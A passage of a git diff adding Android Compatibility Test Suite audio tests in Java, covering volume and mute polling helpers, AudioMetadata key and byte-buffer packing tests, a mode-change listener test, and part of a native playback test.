+            HashSet<Integer> formats = IntStream.of(device.getEncodings()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> channelMasks = IntStream.of(device.getChannelMasks()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> channelIndexMasks = IntStream.of(device.getChannelIndexMasks()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> sampleRates = IntStream.of(device.getSampleRates()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> formatsFromProfile = new HashSet<>();
+            HashSet<Integer> channelMasksFromProfile = new HashSet<>();
+            HashSet<Integer> channelIndexMasksFromProfile = new HashSet<>();
+            HashSet<Integer> sampleRatesFromProfile = new HashSet<>();
+            for (AudioProfile profile : device.getAudioProfiles()) {
+                formatsFromProfile.add(profile.getFormat());
+                channelMasksFromProfile.addAll(Arrays.stream(profile.getChannelMasks()).boxed()
+                        .collect(Collectors.toList()));
+                channelIndexMasksFromProfile.addAll(Arrays.stream(profile.getChannelIndexMasks())
+                        .boxed().collect(Collectors.toList()));
+                sampleRatesFromProfile.addAll(Arrays.stream(profile.getSampleRates()).boxed()
+                        .collect(Collectors.toList()));
+                assertTrue(ALL_ENCAPSULATION_TYPES.contains(profile.getEncapsulationType()));
+            }
+            for (AudioDescriptor descriptor : device.getAudioDescriptors()) {
+                assertNotEquals(AudioDescriptor.STANDARD_NONE, descriptor.getStandard());
+                assertNotNull(descriptor.getDescriptor());
+                assertTrue(
+                        ALL_KNOWN_ENCAPSULATION_TYPES.contains(descriptor.getEncapsulationType()));
+            }
+            assertEquals(formats, formatsFromProfile);
+            assertEquals(channelMasks, channelMasksFromProfile);
+            assertEquals(channelIndexMasks, channelIndexMasksFromProfile);
+            assertEquals(sampleRates, sampleRatesFromProfile);
+        }
+    }
+
+    private void assertStreamVolumeEquals(int stream, int expectedVolume) throws Exception {
+        assertStreamVolumeEquals(stream, expectedVolume,
+                "Unexpected stream volume for stream=" + stream);
+    }
+
+    // volume adjustments are asynchronous, we poll the volume in case the volume state hasn't
+    // been adjusted yet
+    private void assertStreamVolumeEquals(int stream, int expectedVolume, String msg)
+            throws Exception {
+        final long startPoll = SystemClock.uptimeMillis();
+        int actualVolume = mAudioManager.getStreamVolume(stream);
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_VOLUME_ADJUST
+                && expectedVolume != actualVolume) {
+            actualVolume = mAudioManager.getStreamVolume(stream);
+        }
+        assertEquals(msg, expectedVolume, actualVolume);
+    }
+
+    // volume adjustments are asynchronous, we poll the volume in case the mute state hasn't
+    // changed yet
+    private void assertStreamMuted(int stream, boolean expectedMuteState, String msg)
+            throws Exception{
+        final long startPoll = SystemClock.uptimeMillis();
+        boolean actualMuteState = mAudioManager.isStreamMute(stream);
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_VOLUME_ADJUST
+                && expectedMuteState != actualMuteState) {
+            actualMuteState = mAudioManager.isStreamMute(stream);
+        }
+        assertEquals(msg, expectedMuteState, actualMuteState);
+    }
+
+    private void assertMusicActive(boolean expectedIsMusicActive) throws Exception {
+        final long startPoll = SystemClock.uptimeMillis();
+        boolean actualIsMusicActive = mAudioManager.isMusicActive();
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_PLAY_MUSIC
+                && expectedIsMusicActive != actualIsMusicActive) {
+            actualIsMusicActive = mAudioManager.isMusicActive();
+        }
+        assertEquals(actualIsMusicActive, actualIsMusicActive);
+    }
+
+    private static final long REPEATED_CHECK_POLL_PERIOD_MS = 100; // 100ms
+    private static final long DEFAULT_ASYNC_CALL_TIMEOUT_MS = 5 * REPEATED_CHECK_POLL_PERIOD_MS;
+
+    /**
+     * Makes multiple attempts over a given timeout period to test the predicate on an AudioManager
+     * instance. Test success is evaluated against a true predicate result.
+     * @param am the AudioManager instance to use for the test
+     * @param predicate the test to run either until it returns true, or until the timeout expires
+     * @param timeoutMs the maximum time allowed for the test to pass
+     * @param errorString the string to be displayed in case of failure
+     * @throws Exception
+     */
+    private void assertTrueCheckTimeout(AudioManager am, Predicate<AudioManager> predicate,
+            long timeoutMs, String errorString) throws Exception {
+        long checkStart = SystemClock.uptimeMillis();
+        boolean result = false;
+        while (SystemClock.uptimeMillis() - checkStart < timeoutMs) {
+            result = predicate.test(am);
+            if (result) {
+                break;
+            }
+            Thread.sleep(REPEATED_CHECK_POLL_PERIOD_MS);
+        }
+        assertTrue(errorString, result);
+    }
+
+    private boolean isAutomotive() {
+        PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
+    // getParameters() & setParameters() are deprecated, so don't test
+
+    // setAdditionalOutputDeviceDelay(), getAudioVolumeGroups(), getVolumeIndexForAttributes()
+    // getMinVolumeIndexForAttributes(), getMaxVolumeIndexForAttributes() &
+    // setVolumeIndexForAttributes() require privledged permission MODIFY_AUDIO_ROUTING
+    // and thus cannot be tested here.
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioMetadataTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioMetadataTest.java
new file mode 100644
index 0000000..6ebc516
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioMetadataTest.java
@@ -0,0 +1,361 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.*;
+import static org.testng.Assert.assertThrows;
+
+import android.icu.util.ULocale;
+import android.media.AudioFormat;
+import android.media.AudioMetadata;
+import android.media.AudioMetadataMap;
+import android.media.AudioMetadataReadMap;
+import android.media.AudioPresentation;
+import android.media.cts.NonMediaMainlineTest;
+import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class AudioMetadataTest {
+
+    // Trial keys to test with.
+    private static final AudioMetadata.Key<Integer>
+        KEY_INTEGER = AudioMetadata.createKey("integer", Integer.class);
+    private static final AudioMetadata.Key<Number>
+        KEY_NUMBER = AudioMetadata.createKey("number", Number.class);
+    private static final AudioMetadata.Key<String>
+        KEY_STRING = AudioMetadata.createKey("string", String.class);
+    private static final AudioMetadata.Key<Long>
+        KEY_LONG = AudioMetadata.createKey("long", Long.class);
+    private static final AudioMetadata.Key<Float>
+        KEY_FLOAT = AudioMetadata.createKey("float", Float.class);
+    private static final AudioMetadata.Key<Double>
+        KEY_DOUBLE = AudioMetadata.createKey("double", Double.class);
+    private static final AudioMetadata.Key<AudioMetadata.BaseMap>
+        KEY_BASE_MAP = AudioMetadata.createKey("data", AudioMetadata.BaseMap.class);
+
+    @Test
+    public void testKey() throws Exception {
+        assertEquals("integer", KEY_INTEGER.getName());
+        assertEquals("number", KEY_NUMBER.getName());
+        assertEquals("string", KEY_STRING.getName());
+
+        assertEquals(Integer.class, KEY_INTEGER.getValueClass());
+        assertEquals(Number.class, KEY_NUMBER.getValueClass());
+        assertEquals(String.class, KEY_STRING.getValueClass());
+    }
+
+    @Test
+    public void testMap() throws Exception {
+        final AudioMetadataMap audioMetadata = AudioMetadata.createMap();
+
+        int ivalue;
+        String svalue;
+
+        audioMetadata.set(KEY_INTEGER, 10);
+        ivalue = audioMetadata.get(KEY_INTEGER);
+        assertEquals(10, ivalue);
+
+        // Because the get is typed, the following cannot compile.
+        // audioMetadata.set(KEY_INTEGER, "abc");
+        // String svalue = audioMetadata.get(KEY_INTEGER);
+
+        assertEquals(1, audioMetadata.size());
+
+        audioMetadata.set(KEY_STRING, "abc");
+        svalue = audioMetadata.get(KEY_STRING);
+        assertEquals("abc", svalue);
+
+        // Because the set is typed, the following cannot compile
+        // audioMetadata.set(KEY_STRING, 10);
+        // ivalue = audioMetadata.get(KEY_STRING);
+
+        assertEquals(2, audioMetadata.size());
+        assertTrue(audioMetadata.containsKey(KEY_STRING));
+        // We should be able to remove the string
+        svalue = audioMetadata.remove(KEY_STRING);
+        assertEquals("abc", svalue);
+
+        assertEquals(1, audioMetadata.size());
+        assertFalse(audioMetadata.containsKey(KEY_STRING));
+        assertTrue(audioMetadata.containsKey(KEY_INTEGER));
+
+        // Try a generic Number.
+        Number nvalue;
+        audioMetadata.set(KEY_NUMBER, 2.125f);
+        nvalue = audioMetadata.get(KEY_NUMBER);
+        assertEquals(2.125f, nvalue.floatValue(), 0.f);
+
+        // Verify we handle null properly.
+        assertThrows(NullPointerException.class,
+            () -> { audioMetadata.get(null); }
+        );
+        assertThrows(NullPointerException.class,
+            () -> { audioMetadata.set(null, 1); }
+        );
+        assertThrows(NullPointerException.class,
+            () -> { audioMetadata.set(KEY_NUMBER, null); }
+        );
+
+        // check creating a map from another map.
+        assertEquals(audioMetadata, audioMetadata.dup());
+    }
+
+    @Test
+    public void testFormatKeys() throws Exception {
+        final AudioMetadataMap audioMetadata = AudioMetadata.createMap();
+        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_ID, 1);
+        audioMetadata.set(AudioMetadata.Format.KEY_PROGRAM_ID, 2);
+        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_CONTENT_CLASSIFIER,
+                AudioPresentation.CONTENT_MUSIC_AND_EFFECTS);
+        audioMetadata.set(AudioMetadata.Format.KEY_PRESENTATION_LANGUAGE,
+                ULocale.ENGLISH.getISO3Language());
+        audioMetadata.set(AudioMetadata.Format.KEY_ATMOS_PRESENT, true);
+        audioMetadata.set(AudioMetadata.Format.KEY_AUDIO_ENCODING, AudioFormat.ENCODING_MP3);
+        audioMetadata.set(AudioMetadata.Format.KEY_BIT_RATE, 64000);
+        audioMetadata.set(AudioMetadata.Format.KEY_BIT_WIDTH, 16);
+        audioMetadata.set(AudioMetadata.Format.KEY_CHANNEL_MASK, AudioFormat.CHANNEL_OUT_STEREO);
+        audioMetadata.set(AudioMetadata.Format.KEY_MIME, "audio/mp3");
+        audioMetadata.set(AudioMetadata.Format.KEY_SAMPLE_RATE, 48000);
+
+        assertEquals(64000, (int)audioMetadata.get(AudioMetadata.Format.KEY_BIT_RATE));
+        assertEquals(AudioFormat.CHANNEL_OUT_STEREO,
+                (int)audioMetadata.get(AudioMetadata.Format.KEY_CHANNEL_MASK));
+        assertEquals("audio/mp3", (String)audioMetadata.get(AudioMetadata.Format.KEY_MIME));
+        assertEquals(48000, (int)audioMetadata.get(AudioMetadata.Format.KEY_SAMPLE_RATE));
+        assertEquals(16, (int)audioMetadata.get(AudioMetadata.Format.KEY_BIT_WIDTH));
+        assertEquals(true, (boolean)audioMetadata.get(AudioMetadata.Format.KEY_ATMOS_PRESENT));
+        assertEquals(AudioFormat.ENCODING_MP3,
+                (int)audioMetadata.get(AudioMetadata.Format.KEY_AUDIO_ENCODING));
+        assertEquals(1, (int)audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_ID));
+        assertEquals(2, (int)audioMetadata.get(AudioMetadata.Format.KEY_PROGRAM_ID));
+        assertEquals(AudioPresentation.CONTENT_MUSIC_AND_EFFECTS,
+            (int)audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_CONTENT_CLASSIFIER));
+        assertEquals(ULocale.ENGLISH.getISO3Language(),
+            audioMetadata.get(AudioMetadata.Format.KEY_PRESENTATION_LANGUAGE));
+
+        // Additional test to ensure we can survive parceling
+        testPackingAndUnpacking((AudioMetadata.BaseMap)audioMetadata);
+    }
+
+    // Vendor keys created by direct override of the AudioMetadata interface.
+    private static final AudioMetadata.Key<Integer>
+        KEY_VENDOR_INTEGER = new AudioMetadata.Key<Integer>() {
+        @Override
+        public String getName() {
+            return "vendor.integerData";
+        }
+
+        @Override
+        public Class<Integer> getValueClass() {
+            return Integer.class;  // matches Class<Integer>
+        }
+    };
+
+    private static final AudioMetadata.Key<Double>
+        KEY_VENDOR_DOUBLE = new AudioMetadata.Key<Double>() {
+        @Override
+        public String getName() {
+            return "vendor.doubleData";
+        }
+
+        @Override
+        public Class<Double> getValueClass() {
+            return Double.class;  // matches Class<Double>
+        }
+    };
+
+    private static final AudioMetadata.Key<String>
+            KEY_VENDOR_STRING = new AudioMetadata.Key<String>() {
+        @Override
+        public String getName() {
+            return "vendor.stringData";
+        }
+
+        @Override
+        public Class<String> getValueClass() {
+            return String.class;  // matches Class<String>
+        }
+    };
+
+    @Test
+    public void testVendorKeys() {
+        final AudioMetadataMap audioMetadata = AudioMetadata.createMap();
+
+        audioMetadata.set(KEY_VENDOR_INTEGER, 10);
+        final int ivalue = audioMetadata.get(KEY_VENDOR_INTEGER);
+        assertEquals(10, ivalue);
+
+        audioMetadata.set(KEY_VENDOR_DOUBLE, 11.5);
+        final double dvalue = audioMetadata.get(KEY_VENDOR_DOUBLE);
+        assertEquals(11.5, dvalue, 0. /* epsilon */);
+
+        audioMetadata.set(KEY_VENDOR_STRING, "alphabet");
+        final String svalue = audioMetadata.get(KEY_VENDOR_STRING);
+        assertEquals("alphabet", svalue);
+    }
+
+    // The byte buffer here is generated by audio_utils::metadata::byteStringFromData(Data).
+    // Data data = {
+    //     "integer": (int32_t) 1,
+    //     "long": (int64_t) 2,
+    //     "float": (float) 3.1f,
+    //     "double": (double) 4.11,
+    //     "data": (Data) {
+    //         "string": (std::string) "hello",
+    //     }
+    // }
+    // Use to test compatibility of packing/unpacking audio metadata.
+    // DO NOT CHANGE after R
+    private static final byte[] BYTE_BUFFER_REFERENCE = new byte[] {
+            // Number of items
+            0x05, 0x00, 0x00, 0x00,
+            // Length of 1st key
+            0x04, 0x00, 0x00, 0x00,
+            // Payload of 1st key
+            0x64, 0x61, 0x74, 0x61,
+            // Data type of 1st value
+            0x06, 0x00, 0x00, 0x00,
+            // Length of 1st value
+            0x1f, 0x00, 0x00, 0x00,
+            // Payload of 1st value
+            0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
+            0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x05, 0x00,
+            0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x05, 0x00,
+            0x00, 0x00, 0x68, 0x65, 0x6c, 0x6c, 0x6f,
+            // Length of 2nd key
+            0x06, 0x00, 0x00, 0x00,
+            // Payload of 2nd key
+            0x64, 0x6f, 0x75, 0x62, 0x6c, 0x65,
+            // Data type of 2nd value
+            0x04, 0x00, 0x00, 0x00,
+            // Length of 2nd value
+            0x08, 0x00, 0x00, 0x00,
+            // Payload of 2nd value
+            0x71, 0x3d, 0x0a, (byte) 0xd7, (byte) 0xa3, 0x70, 0x10, 0x40,
+            // Length of 3rd key
+            0x05, 0x00, 0x00, 0x00,
+            // Payload of 3rd key
+            0x66, 0x6c, 0x6f, 0x61, 0x74,
+            // Data type of 3rd value
+            0x03, 0x00, 0x00, 0x00,
+            // Length of 3rd value
+            0x04, 0x00, 0x00, 0x00,
+            // Payload of 3rd value
+            0x66, 0x66, 0x46, 0x40,
+            // Length of 4th key
+            0x07, 0x00, 0x00, 0x00,
+            // Payload of 4th key
+            0x69, 0x6e, 0x74, 0x65, 0x67, 0x65, 0x72,
+            // Data type of 4th value
+            0x01, 0x00, 0x00, 0x00,
+            // Length of 4th value
+            0x04, 0x00, 0x00, 0x00,
+            // Payload of 4th value
+            0x01, 0x00, 0x00, 0x00,
+            // Length of 5th key
+            0x04, 0x00, 0x00, 0x00,
+            // Payload of 5th key
+            0x6c, 0x6f, 0x6e, 0x67,
+            // Data type of 5th value
+            0x02, 0x00, 0x00, 0x00,
+            // Length of 5th value
+            0x08, 0x00, 0x00, 0x00,
+            // Payload of 5th value
+            0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+    };
+    // AUDIO_METADATA_REFERENCE corresponds to BYTE_BUFFER_REFERENCE.
+    // DO NOT CHANGE after R
+    private static final AudioMetadata.BaseMap AUDIO_METADATA_REFERENCE =
+            new AudioMetadata.BaseMap() {{
+                set(KEY_INTEGER, 1);
+                set(KEY_LONG, (long) 2);
+                set(KEY_FLOAT, 3.1f);
+                set(KEY_DOUBLE, 4.11);
+                set(KEY_BASE_MAP, new AudioMetadata.BaseMap() {{
+                    set(KEY_STRING, "hello");
+                }});
+            }};
+
+    // Position of data type for first value in reference buffer.
+    // Will be used to set an invalid data type for test.
+    private static final int FIRST_VALUE_DATA_TYPE_POSITION_IN_REFERENCE = 12;
+    private static final byte INVALID_DATA_TYPE = (byte) 0xff;
+
+    @Test
+    public void testCompatibilityR() {
+        ByteBuffer bufferPackedAtJava = AudioMetadata.toByteBuffer(
+                AUDIO_METADATA_REFERENCE, ByteOrder.nativeOrder());
+        assertNotNull(bufferPackedAtJava);
+        ByteBuffer buffer = nativeGetByteBuffer(bufferPackedAtJava, bufferPackedAtJava.limit());
+        assertNotNull(buffer);
+        ByteBuffer refBuffer = ByteBuffer.allocate(BYTE_BUFFER_REFERENCE.length);
+        refBuffer.put(BYTE_BUFFER_REFERENCE);
+        refBuffer.position(0);
+        assertEquals(buffer, refBuffer);
+    }
+
+    @Test
+    public void testUnpackingByteBuffer() throws Exception {
+        testPackingAndUnpacking(AUDIO_METADATA_REFERENCE);
+    }
+
+    @Test
+    public void testUnpackingInvalidBuffer() throws Exception {
+        ByteBuffer buffer = ByteBuffer.allocate(BYTE_BUFFER_REFERENCE.length);
+        buffer.put(BYTE_BUFFER_REFERENCE);
+        buffer.order(ByteOrder.nativeOrder());
+
+        // Manually modify the buffer to create an invalid buffer with an invalid data type,
+        // a null should be returned when unpacking.
+        buffer.position(FIRST_VALUE_DATA_TYPE_POSITION_IN_REFERENCE);
+        buffer.put(INVALID_DATA_TYPE);
+        buffer.position(0);
+        AudioMetadata.BaseMap metadataFromByteBuffer = AudioMetadata.fromByteBuffer(buffer);
+        assertNull(metadataFromByteBuffer);
+    }
+
+    private static void testPackingAndUnpacking(AudioMetadata.BaseMap audioMetadata) {
+        ByteBuffer bufferPackedAtJava = AudioMetadata.toByteBuffer(
+                audioMetadata, ByteOrder.nativeOrder());
+        assertNotNull(bufferPackedAtJava);
+        ByteBuffer buffer = nativeGetByteBuffer(bufferPackedAtJava, bufferPackedAtJava.limit());
+        assertNotNull(buffer);
+        buffer.order(ByteOrder.nativeOrder());
+
+        AudioMetadata.BaseMap metadataFromByteBuffer = AudioMetadata.fromByteBuffer(buffer);
+        assertNotNull(metadataFromByteBuffer);
+        assertEquals(metadataFromByteBuffer, audioMetadata);
+    }
+
+    static {
+        System.loadLibrary("audiocts_jni");
+    }
+
+    /**
+     * Passing a ByteBuffer that contains audio metadata. In native, the buffer will be
+     * unpacked as native audio metadata and then reconstructed as ByteBuffer back to Java.
+     * This is aimed at testing round trip (un)packing logic.
+     */
+    private static native ByteBuffer nativeGetByteBuffer(ByteBuffer buffer, int sizeInBytes);
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioModeListenerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioModeListenerTest.java
new file mode 100644
index 0000000..738f77e
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioModeListenerTest.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioManager;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.concurrent.Executors;
+
+
+
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class AudioModeListenerTest extends CtsAndroidTestCase {
+    private final static String TAG = "AudioModeListenerTest";
+
+    private AudioManager mAudioManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = getInstrumentation().getContext().getSystemService(AudioManager.class);
+    }
+
+    static class MyOnModeChangedListener implements AudioManager.OnModeChangedListener {
+
+        private final Object mCbLock = new Object();
+        @GuardedBy("mCbLock")
+        private boolean mCalled;
+        @GuardedBy("mCbLock")
+        private int mMode;
+
+        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+        void reset() {
+            synchronized (mCbLock) {
+                mCalled = false;
+                mMode = -1977; // magic value that doesn't match any mode
+            }
+        }
+
+        boolean wasCalled() {
+            synchronized (mCbLock) {
+                return mCalled;
+            }
+        }
+
+        int waitForModeUpdate() {
+            synchronized (mCbLock) {
+                while (!mCalled) {
+                    try {
+                        mCbLock.wait(LISTENER_WAIT_TIMEOUT_MS);
+                    } catch (InterruptedException e) {
+                    }
+                }
+                return mMode;
+            }
+        }
+
+        int getMode() {
+            synchronized (mCbLock) {
+                return mMode;
+            }
+        }
+
+        MyOnModeChangedListener() {
+            reset();
+        }
+
+        @Override
+        public void onModeChanged(int mode) {
+            synchronized (mCbLock) {
+                mCalled = true;
+                mMode = mode;
+                mCbLock.notifyAll();
+            }
+        }
+    }
+
+    @AppModeFull(reason = "Instant apps don't have MODIFY_AUDIO_SETTINGS")
+    public void testModeListener() throws Exception {
+        if (!isValidPlatform("testModeListener")) return;
+
+        MyOnModeChangedListener listener = new MyOnModeChangedListener();
+
+        try {
+            mAudioManager.addOnModeChangedListener(null, listener);
+            fail("addOnModeChangedListener should fail with null executor");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnModeChangedListener(
+                    Executors.newSingleThreadExecutor(), null);
+            fail("addOnModeChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.removeOnModeChangedListener(null);
+            fail("removeOnModeChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnModeChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+        } catch (Exception e) {
+            fail("addOnModeChangedListener failed with exception: " + e);
+        }
+
+        try {
+            mAudioManager.addOnModeChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+            fail("addOnCommunicationDeviceChangedListener succeeded for same listener");
+        } catch (Exception e) {
+        }
+
+        int originalMode = mAudioManager.getMode();
+        int testMode = (originalMode == AudioManager.MODE_NORMAL)
+                ? AudioManager.MODE_RINGTONE : AudioManager.MODE_NORMAL;
+
+        mAudioManager.setMode(testMode);
+        int dispatchedMode = listener.waitForModeUpdate();
+        assertTrue("listener wasn't called", listener.wasCalled());
+        assertEquals("Mode not updated correctly", testMode, dispatchedMode);
+
+        listener.reset();
+
+        if (originalMode == AudioManager.MODE_NORMAL) {
+            mAudioManager.setMode(originalMode);
+
+            dispatchedMode = listener.waitForModeUpdate();
+            assertTrue("listener wasn't called for mode restore", listener.wasCalled());
+            assertEquals("Mode not updated correctly for mode restore",
+                    originalMode, dispatchedMode);
+        }
+
+        try {
+            mAudioManager.removeOnModeChangedListener(listener);
+        } catch (Exception e) {
+            fail("removeOnModeChangedListener failed with exception: " + e);
+        }
+    }
+
+    private boolean isValidPlatform(String testName) {
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
+                ||  pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)
+                || !pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.i(TAG,"Skipping test " + testName
+                    + " : device has no audio output or is a TV or does not support telephony");
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioNativeTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioNativeTest.java
new file mode 100644
index 0000000..1fbabbf
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioNativeTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioRouting;
+import android.media.cts.AudioHelper;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Build;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import org.junit.Assert;
+
+@NonMediaMainlineTest
+public class AudioNativeTest extends CtsAndroidTestCase {
+    public static final int MAX_CHANNEL_COUNT = 2;
+    public static final int MAX_INDEX_MASK = (1 << MAX_CHANNEL_COUNT) - 1;
+
+    private static final int CHANNEL_INDEX_MASK_MAGIC = 0x80000000;
+
+    public void testAppendixBBufferQueue() {
+        nativeAppendixBBufferQueue();
+    }
+
+    public void testAppendixBRecording() {
+        // better to detect presence of microphone here.
+        if (!hasMicrophone()) {
+            return;
+        }
+        nativeAppendixBRecording();
+    }
+
+    public void testStereo16Playback() {
+        assertTrue(AudioTrackNative.test(
+                2 /* numChannels */, 48000 /* sampleRate */, false /* useFloat */,
+                20 /* msecPerBuffer */, 8 /* numBuffers */));
+    }
+
+    public void testStereo16Record() {
+        if (!hasMicrophone()) {
+            return;
+        }
+        assertTrue(AudioRecordNative.test(
+                2 /* numChannels */, 48000 /* sampleRate */, false /* useFloat */,
+                20 /* msecPerBuffer */, 8 /* numBuffers */));
+    }
+
+    public void testPlayStreamData() throws Exception {
+        final String TEST_NAME = "testPlayStreamData";
+        final boolean TEST_FLOAT_ARRAY[] = {
+                false,
+                true,
+        };
+        // due to downmixer algorithmic latency, source channels greater than 2 may
+        // sound shorter in duration at 4kHz sampling rate.
+        final int TEST_SR_ARRAY[] = {
+                /* 4000, */ // below limit of OpenSL ES
+                12345, // irregular sampling rate
+                44100,
+                48000,
+                96000,
+                192000,
+        };
+        final int TEST_CHANNELS_ARRAY[] = {
+                1,
+                2,
+                3,
+                4,
+                5,
+                6,
+                7,
+                // 8  // can fail due to memory issues
+        };
+        final float TEST_SWEEP = 0; // sine wave only
+        final int TEST_TIME_IN_MSEC = 300;
+        final int TOLERANCE_MSEC = 20;
+        final boolean TEST_IS_LOW_RAM_DEVICE = isLowRamDevice();
+        final long TEST_END_SLEEP_MSEC = TEST_IS_LOW_RAM_DEVICE ? 200 : 50;
+
+        for (boolean TEST_FLOAT : TEST_FLOAT_ARRAY) {
+            double frequency = 400; // frequency changes for each test
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CHANNELS : TEST_CHANNELS_ARRAY) {
+                    // OpenSL ES BUG: we run out of AudioTrack memory for this config on MNC
+                    // Log.d(TEST_NAME, "open channels:" + TEST_CHANNELS + " sr:" + TEST_SR);
+                    if (TEST_IS_LOW_RAM_DEVICE && (TEST_CHANNELS > 4 || TEST_SR > 96000)) {
+                        continue;
+                    }
+                    if (TEST_FLOAT == true && TEST_CHANNELS >= 6 && TEST_SR >= 192000) {
+                        continue;
+                    }
+                    AudioTrackNative track = new AudioTrackNative();
+                    assertTrue(TEST_NAME,
+                            track.open(TEST_CHANNELS, TEST_SR, TEST_FLOAT, 1 /* numBuffers */));
+                    assertTrue(TEST_NAME, track.start());
+
+                    final int sourceSamples =
+                            (int)((long)TEST_SR * TEST_TIME_IN_MSEC * TEST_CHANNELS / 1000);
+                    final double testFrequency = frequency / TEST_CHANNELS;
+                    if (TEST_FLOAT) {
+                        float data[] = AudioHelper.createSoundDataInFloatArray(
+                                sourceSamples, TEST_SR,
+                                testFrequency, TEST_SWEEP);
+                        assertEquals(sourceSamples,
+                                track.write(data, 0 /* offset */, sourceSamples,
+                                        AudioTrackNative.WRITE_FLAG_BLOCKING));
+                    } else {
+                        short data[] = AudioHelper.createSoundDataInShortArray(
+                                sourceSamples, TEST_SR,
+                                testFrequency, TEST_SWEEP);
+                        assertEquals(sourceSamples,
+                                track.write(data, 0 /* offset */, sourceSamples,
+                                        AudioTrackNative.WRITE_FLAG_BLOCKING));
+                    }
+
+                    while (true) {
+                        // OpenSL ES BUG: getPositionInMsec returns 0 after a data underrun.
+
+                        long position = track.getPositionInMsec();
+                        //Log.d(TEST_NAME, "position: " + position[0]);
+                        if (position >= (long)(TEST_TIME_IN_MSEC - TOLERANCE_MSEC)) {
+                            break;
+                        }
+
+                        // It is safer to use a buffer count of 0 to determine termination
+                        if (track.getBuffersPending() == 0) {
+                            break;
+                        }
+                        Thread.sleep(5 /* millis */);
+                    }
+                    track.stop();
+                    Thread.sleep(TEST_END_SLEEP_MSEC);
+                    track.close();
